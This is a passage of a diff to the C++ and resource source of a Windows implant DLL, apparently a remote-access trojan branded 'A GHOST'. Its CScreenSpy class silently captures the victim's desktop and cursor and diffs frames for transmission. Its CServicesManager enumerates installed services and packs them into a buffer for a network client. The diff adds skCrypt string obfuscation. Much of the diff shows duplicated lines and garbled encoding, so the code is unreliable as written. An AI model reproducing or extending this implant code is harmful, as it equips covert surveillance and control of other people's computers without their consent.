m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
||||
m_BitmapData_Full = NULL;
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
|
||||
m_RectBufferOffset = 0;
|
||||
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||
}
|
||||
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
|
||||
if (m_BitmapInfor_Full != NULL)
|
||||
{
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
|
||||
if (m_hFullMemDC!=NULL)
|
||||
{
|
||||
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||
DeleteDC(m_hFullMemDC);
|
||||
|
||||
::DeleteObject(m_BitmapHandle);
|
||||
if (m_BitmapData_Full!=NULL)
|
||||
@@ -79,7 +72,7 @@ CScreenSpy::~CScreenSpy()
|
||||
|
||||
if (m_hDiffMemDC!=NULL)
|
||||
{
|
||||
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||
DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_DiffBitmapHandle);
|
||||
if (m_DiffBitmapData_Full!=NULL)
|
||||
@@ -88,12 +81,6 @@ CScreenSpy::~CScreenSpy()
|
||||
}
|
||||
}
|
||||
|
||||
if (m_BitmapInfor_Full!=NULL)
|
||||
{
|
||||
delete[] m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
if (m_RectBuffer)
|
||||
{
|
||||
delete[] m_RectBuffer;
|
||||
@@ -103,114 +90,27 @@ CScreenSpy::~CScreenSpy()
|
||||
m_RectBufferOffset = 0;
|
||||
}
|
||||
|
||||
|
||||
ULONG CScreenSpy::GetBISize()
|
||||
{
|
||||
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
|
||||
|
||||
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::GetBIData()
|
||||
{
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
||||
ULONG ulFullWidth, ULONG ulFullHeight)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
|
||||
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||
BitmapInforHeader->biWidth = ulFullWidth; //1080
|
||||
BitmapInforHeader->biHeight = ulFullHeight; //1920
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount; //32
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||
BitmapInforHeader->biClrUsed = 0;
|
||||
BitmapInforHeader->biClrImportant = 0;
|
||||
BitmapInforHeader->biSizeImage =
|
||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
|
||||
|
||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
|
||||
return BitmapInfor;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::GetFirstScreenData()
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||
::BitBlt(m_hFullMemDC, 0, 0,
|
||||
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||
|
||||
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
|
||||
ULONG CScreenSpy::GetFirstScreenLength()
|
||||
{
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
||||
{
|
||||
if (m_RectBuffer == NULL)
|
||||
{
|
||||
return NULL;
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD>
|
||||
m_RectBufferOffset = 0;
|
||||
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
|
||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||
{
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||
*ulNextSendLength = m_RectBufferOffset +
|
||||
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
|
||||
{
|
||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||
m_RectBufferOffset += ulLength;
|
||||
return m_RectBuffer; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
AUTO_TICK(1);
|
||||
#ifdef COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
|
||||
AUTO_TICK(70);
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||
#else
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
@@ -223,51 +123,8 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
||||
ulToJump = ulJumpLine;
|
||||
else
|
||||
ulToJump = ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||
Sleep(ulJumpSleep);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
LPBYTE szBuffer, DWORD ulCompareLength)
|
||||
{
|
||||
AUTO_TICK(1);
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
|
||||
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
|
||||
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
|
||||
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||
ulv1 = ulszBufferOffset + sizeof(int);
|
||||
ulv2 = ulv1 + sizeof(int);
|
||||
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
|
||||
ulCount += 4;
|
||||
i += 4, p1++, p2++;
|
||||
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
break;
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
ulCount += 4;
|
||||
}
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
*(LPDWORD)(szBuffer + ulv1) = ulCount;
|
||||
ulszBufferOffset = ulv2 + ulCount;
|
||||
}
|
||||
|
||||
return ulszBufferOffset;
|
||||
}
|
||||
|
||||
@@ -8,46 +8,78 @@
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
|
||||
#include "CursorInfor.h"
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
|
||||
class CScreenSpy
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount);
|
||||
virtual ~CScreenSpy();
|
||||
ULONG GetBISize();
|
||||
LPBITMAPINFO GetBIData();
|
||||
ULONG m_ulbiBitCount;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
||||
private:
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
|
||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
int GetWidth()const {
|
||||
return m_ulFullWidth;
|
||||
}
|
||||
|
||||
int GetHeight() const {
|
||||
return m_ulFullHeight;
|
||||
}
|
||||
|
||||
bool IsZoomed() const {
|
||||
return m_bZoomed;
|
||||
}
|
||||
|
||||
double GetWZoom() const {
|
||||
return m_wZoom;
|
||||
}
|
||||
|
||||
double GetHZoom() const {
|
||||
return m_hZoom;
|
||||
}
|
||||
|
||||
const LPBITMAPINFO& GetBIData() const
|
||||
{
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
ULONG GetFirstScreenLength() const
|
||||
{
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||
m_RectBufferOffset += ulLength;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
virtual LPBYTE ScanNextScreen() {
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
return (LPBYTE)m_DiffBitmapData_Full;
|
||||
}
|
||||
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
DWORD m_dwBitBltRop;
|
||||
LPVOID GetFirstScreenData();
|
||||
ULONG GetFirstScreenLength();
|
||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||
BYTE* m_RectBuffer;
|
||||
ULONG m_RectBufferOffset;
|
||||
BYTE m_bAlgorithm;
|
||||
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
||||
CCursorInfor m_CursorInfor;
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
|
||||
@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
//
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
|
||||
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
|
||||
BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
BOTTOMMARGIN, 101
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
@@ -82,13 +81,14 @@ END
|
||||
|
||||
IDR_WAVE WAVE "Res\\msg.wav"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,1
|
||||
FILEVERSION 1,0,0,9
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,10 +106,10 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.1"
|
||||
VALUE "InternalName", "ServerDl.dll"
|
||||
VALUE "FileVersion", "1.0.0.9"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDl.dll"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
@@ -120,6 +120,18 @@ BEGIN
|
||||
END
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Icon
|
||||
//
|
||||
|
||||
// Icon with lowest ID value placed first to ensure application icon
|
||||
// remains consistent on all systems.
|
||||
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||
|
||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||
|
||||
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
@@ -30,6 +30,10 @@ VOID CServicesManager::SendServicesList()
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
#ifndef skCrypt
|
||||
#define skCrypt(p) p
|
||||
#endif
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
@@ -56,7 +60,7 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_TYPE_ALL, //CTL_FIX
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
@@ -65,10 +69,11 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
{
|
||||
SC_HANDLE hServices = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
@@ -82,35 +87,73 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
}
|
||||
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
|
||||
{
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
lstrcat(szRunWay,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
lstrcat(szRunWay,"ֹͣ");
|
||||
}
|
||||
|
||||
if(2==ServicesInfor->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //SERVICE_AUTO_START
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
lstrcat(szAutoRun,"<EFBFBD>Զ<EFBFBD>");
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ں<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
lstrcat(szAutoRun,"<EFBFBD>ֶ<EFBFBD>");
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("ϵͳ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>Զ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ֶ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
if(4==ServicesInfor->dwStartType)
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED
|
||||
lstrcat(szAutoRun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
}
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
@@ -120,7 +163,8 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -14,12 +14,12 @@
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
public:
|
||||
